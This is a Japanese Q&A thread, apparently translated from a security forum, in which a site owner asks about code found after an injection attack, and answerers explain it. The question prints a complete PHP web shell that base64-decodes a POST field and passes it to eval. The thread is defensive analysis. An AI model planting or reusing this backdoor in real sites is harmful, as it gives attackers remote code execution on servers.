web-dev-qa-db-ja.com

このURLインジェクションのコードはどういう意味ですか?

悪意のある可能性のある単一のコードを含めることが考慮されるかどうかはわかりません。しかし、最近私のサイトはいくつかのURLインジェクションの犠牲になりました。私は誰かがこのコードの断片が何をしているのか教えてくれるかどうか疑問に思っていました:

<?php 
    $mujj = $_POST['x']; 
    if ($mujj!="") { 
       $xsser=base64_decode($_POST['z0']); 
        @eval("\$safedg = $xsser;"); 
    } ?>
<?php
1
Sarge

私はあなたの問題についてさらに検索したところ、攻撃者がopensourcewebshel​​l アプリケーションを使用して、次のようなさまざまな一般的なスクリプト言語でサーバー上でシェルを実行していることがわかりましたASP、ASPX、PHP、JSP、PLおよびPythonとして。

このスクリプトをざっと見てみると、次のことがわかりました。

$mujj = $_POST['x']; 
    if ($mujj!="") { 

これは、変数xに含まれるパスワード(何かへのパスワード)が空でないことを確認します(これは、ユーザーがログインしたときに変換できます

$xsser=base64_decode($_POST['z0']);

Z0変数の内容をデコードし、$xsserに保存します。実際にz0はファイルを参照します(Webアプリケーションでファイルのアップロードを許可する可能性がありますか?または、この悪意のあるアプリケーションがファイルのアップロードを許可している可能性があります-これもロジックです)。

@eval("\$safedg = $xsser;");

$xsserに保存されたコンテンツは、サーバー上で実行されます(危険な操作)。

1
user45139

これは、PHPシェルであり、base64でエンコードされたHTTP-POSTメッセージを介してシェルに送信されたコマンドを読み取って実行します)PHPコマンドです。

チェックに合格するには、xに何らかの値が必要です。次に、b64エンコードされたPHPコマンドがz0値を介して送信されます。

1
efr4k